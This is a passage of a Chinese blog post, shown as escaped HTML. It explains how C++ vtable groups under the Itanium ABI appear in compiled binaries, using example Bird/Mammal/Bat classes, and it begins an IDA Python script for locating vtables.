&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;struct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; Dog&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; :&lt;&#x2F;span&gt;&lt;span&gt; Mammal {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;  Dog&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Dog::Dog&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  virtual&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; ~Dog&lt;&#x2F;span&gt;&lt;span&gt;() {}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  virtual void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; walk&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Dog::walk&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;struct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; Bird&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;  Bird&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Bird::Bird&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  virtual&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; ~Bird&lt;&#x2F;span&gt;&lt;span&gt;() {}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  virtual void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; fly&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Bird::fly&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #5A6673;font-style: italic;&quot;&gt;&#x2F;&#x2F;NOTE: this may not be taxonomically correct&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;struct&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; Bat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt; :&lt;&#x2F;span&gt;&lt;span&gt; Bird&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; Mammal&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;  Bat&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Bat::Bat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  virtual&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; ~Bat&lt;&#x2F;span&gt;&lt;span&gt;() {}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  virtual void&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; fly&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;span style=&quot;color: #59C2FF;&quot;&gt; std&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;::&lt;&#x2F;span&gt;&lt;span&gt;cout &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;&amp;lt;&amp;lt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt; &amp;quot;Bat::fly&lt;&#x2F;span&gt;&lt;span style=&quot;color: #95E6CB;&quot;&gt;\n&lt;&#x2F;span&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;span&gt; }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;int&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; main&lt;&#x2F;span&gt;&lt;span&gt;() {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  Bird &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt;b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  Mammal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;  if&lt;&#x2F;span&gt;&lt;span&gt; (&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;rand&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt; %&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 2&lt;&#x2F;span&gt;&lt;span&gt;) {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    b &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;= new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; Bat&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    m &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;= new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; Cat&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt; else&lt;&#x2F;span&gt;&lt;span&gt; {&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    b &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;= new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; Bird&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;    m &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;= new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; Dog&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  }&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  b&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;fly&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;  m&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;walk&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;}&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;看起来有五张虚表，分别是&lt;code&gt;Mammal&lt;&#x2F;code&gt;、&lt;code&gt;Cat&lt;&#x2F;code&gt;、&lt;code&gt;Dog&lt;&#x2F;code&gt;、&lt;code&gt;Bird&lt;&#x2F;code&gt;和&lt;code&gt;Bat&lt;&#x2F;code&gt;类。然而，既然我说了“然而”，事情就没那么简单。实际上，满足前述判别条件的有六个区域。&lt;&#x2F;p&gt;
&lt;p&gt;当你考虑多重继承的虚表结构的时候，你就知道为什么会有这样了：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;cpp-vfunc-reversing-2&#x2F;.&#x2F;Bat-Layout--1-.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;注意，&lt;code&gt;Bat&lt;&#x2F;code&gt;类不仅包含了&lt;code&gt;Bird&lt;&#x2F;code&gt;和&lt;code&gt;Mammal&lt;&#x2F;code&gt;类的虚指针，还包含了他们的两个完整实例（也就是子对象）。而这两个虚指针指向的是另外一张表。因此，有多个父类的类，会为每个父类都准备了一张对应的虚表。它们在Itanium ABI中称作“虚表组”。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;xu-biao-zu&quot;&gt;虚表组&lt;&#x2F;h2&gt;
&lt;p&gt;一个虚表组包含两类东西。一个是第一个父类的虚表，只有一张，称为“主虚表”，另外一个就是其他父类的虚表，可有多张，称为“次虚表”。这些表在二进制文件中是按照源码中的声明顺序紧密相联的。显然，&lt;code&gt;Bat&lt;&#x2F;code&gt;类的虚表组应该像是这样的：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Offset&lt;&#x2F;th&gt;&lt;th&gt;Description&lt;&#x2F;th&gt;&lt;th&gt;Bat&#x27;s vtable for&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;0&lt;&#x2F;td&gt;&lt;td&gt;Address of Destructor 1&lt;&#x2F;td&gt;&lt;td&gt;Bird&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;td&gt;Address of Destructor 2&lt;&#x2F;td&gt;&lt;td&gt;Bird&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;8&lt;&#x2F;td&gt;&lt;td&gt;Address of Bat::Fly&lt;&#x2F;td&gt;&lt;td&gt;Bird&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;12&lt;&#x2F;td&gt;&lt;td&gt;Address of Destructor 1&lt;&#x2F;td&gt;&lt;td&gt;Mammal&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;16&lt;&#x2F;td&gt;&lt;td&gt;Address of Destructor 2&lt;&#x2F;td&gt;&lt;td&gt;Mammal&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;20&lt;&#x2F;td&gt;&lt;td&gt;Address of Mammal::walk&lt;&#x2F;td&gt;&lt;td&gt;Mammal&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;每张虚表占用了12个字节。这里需要两个析构器，而且因为&lt;code&gt;Mammal&lt;&#x2F;code&gt;没有覆盖&lt;code&gt;walk&lt;&#x2F;code&gt;方法，我们需要让&lt;code&gt;Bat&lt;&#x2F;code&gt;的虚表中包含&lt;code&gt;Mammal::walk&lt;&#x2F;code&gt;。但是我们找遍文件也没有看到，在&lt;code&gt;.rodata&lt;&#x2F;code&gt;段中有哪六个连续的函数指针。&lt;&#x2F;p&gt;
&lt;p&gt;进一步研究Itanium的标准后，我们发现了原因。一张虚表不仅含有函数指针，还含有其他一些东西。下图是没有虚继承时的虚表结构：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;cpp-vfunc-reversing-2&#x2F;.&#x2F;full_vtable--2-.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;RTTI指针&lt;&#x2F;code&gt;一般会指向一个RTTI结构体。但是因为我们关闭了RTTI，所以这里应该是0。而第一个字段的值有点麻烦。它指的是，在一个子对象中，使用this指针的时候，要从这个对象的起始处添加多少字节。以下面的代码为例：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;cpp&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Bat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; bat &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;= new&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; Bat&lt;&#x2F;span&gt;&lt;span&gt;()&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Bird&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; b &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; bat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span&gt;Mammal&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;*&lt;&#x2F;span&gt;&lt;span&gt; m &lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span&gt; bat&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对b和m的赋值都是有效的。对b的赋值不需要什么指令，因为由于&lt;code&gt;Bird&lt;&#x2F;code&gt;是&lt;code&gt;Bat&lt;&#x2F;code&gt;的父类，且是第一个父类，那么在任何一个&lt;code&gt;Bat&lt;&#x2F;code&gt;对象中，&lt;code&gt;Bird&lt;&#x2F;code&gt;类的子对象都是第一个子对象。因此，指向&lt;code&gt;Bat&lt;&#x2F;code&gt;对象的指针必然是指向&lt;code&gt;Bird&lt;&#x2F;code&gt;类的指针，和单继承一样。&lt;&#x2F;p&gt;
&lt;p&gt;但是，对&lt;code&gt;m&lt;&#x2F;code&gt;的赋值，就需要一些工作了。&lt;code&gt;Bat&lt;&#x2F;code&gt;中&lt;code&gt;Mammal&lt;&#x2F;code&gt;子对象并不在首部，因此编译器需要为&lt;code&gt;bat&lt;&#x2F;code&gt;指针的值加上一个偏移量，让&lt;code&gt;m&lt;&#x2F;code&gt;能指到&lt;code&gt;Mammal&lt;&#x2F;code&gt;上。这个偏移量是&lt;code&gt;Bird&lt;&#x2F;code&gt;类实例化后的大小，再加上对齐。这个值取反后，就会存到前述的第一个字段&lt;code&gt;Offset to Top&lt;&#x2F;code&gt;中。&lt;sup class=&quot;footnote-reference&quot;&gt;&lt;a href=&quot;#1&quot;&gt;1&lt;&#x2F;a&gt;&lt;&#x2F;sup&gt;&lt;&#x2F;p&gt;
&lt;p&gt;这个字段，让我们能更方便的识别虚表组。虚表组包含多个连续的虚表，且其中每个虚表头部的&lt;code&gt;Offset to Top&lt;&#x2F;code&gt;值都是递减的。观察下图：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.iret.xyz&#x2F;posts&#x2F;cpp-vfunc-reversing-2&#x2F;.&#x2F;2017-01-23-182702_576x703_scrot.png&quot; alt=&quot;img&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;上面的代码编译之后的二进制文件中有六张虚表。2号表的第一个字段是-4，其他的都是0。RTTI指针也都是0，和我们预期一致。这个-4告诉我们：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;2号表是一个虚表组中的第二张表&lt;&#x2F;li&gt;
&lt;li&gt;-4取反后是4，也就是说这个虚表组中第一张表（也就是1号表，因为虚表组中的表是紧密相联的）对应的实例大小为4。谨记，两张虚表共同构成了这个虚表组，而4仅仅是和第一个虚表对应的子对象的大小。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;bian-cheng-xun-zhao-xu-biao&quot;&gt;编程寻找虚表&lt;&#x2F;h2&gt;
&lt;p&gt;根据上述理论，我们可以用下面这个小脚本来寻找二进制文件中所有的虚表和虚表组：&lt;&#x2F;p&gt;
&lt;pre class=&quot;giallo&quot; style=&quot;color: #BFBDB6; background-color: #0D1017;&quot;&gt;&lt;code data-lang=&quot;python&quot;&gt;&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&amp;quot;&amp;quot; A simple script to locate vtable groups in binaries with the Itanium ABI.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;Note that this script does not account for virtual inheritance or (more notably),&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;cases were the vtable contains null pointers. This may happen in more recent&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;compilers with purely abstract types.&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;&amp;quot;&amp;quot;&amp;quot;&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; idaapi&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;import&lt;&#x2F;span&gt;&lt;span&gt; idautils&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; read_ea&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;ea&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; (ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; idaapi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;get_32bit&lt;&#x2F;span&gt;&lt;span&gt;(ea))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; read_signed_32bit&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;ea&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;    return&lt;&#x2F;span&gt;&lt;span&gt; (ea&lt;&#x2F;span&gt;&lt;span style=&quot;color: #F29668;&quot;&gt;+&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span&gt; idaapi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;as_signed&lt;&#x2F;span&gt;&lt;span&gt;(idaapi&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;.&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt;get_32bit&lt;&#x2F;span&gt;&lt;span&gt;(ea)&lt;&#x2F;span&gt;&lt;span style=&quot;color: #BFBDB6B3;&quot;&gt;,&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt; 32&lt;&#x2F;span&gt;&lt;span&gt;))&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #FF8F40;&quot;&gt;def&lt;&#x2F;span&gt;&lt;span style=&quot;color: #FFB454;&quot;&gt; get_table&lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color: #D2A6FF;&quot;&gt;ea&lt;&#x2F;span&gt;&lt;span&gt;):&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;    &amp;#39;&amp;#39;&amp;#39; Given an address, returns (offset_to_top, end_ea)&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
&lt;span class=&quot;giallo-l&quot;&gt;&lt;span style=&quot;color: #AAD94C;&quot;&gt;    for the table  located at that address or None if there&lt;&#x2F;span&gt;&lt;&#x2F;span&gt;
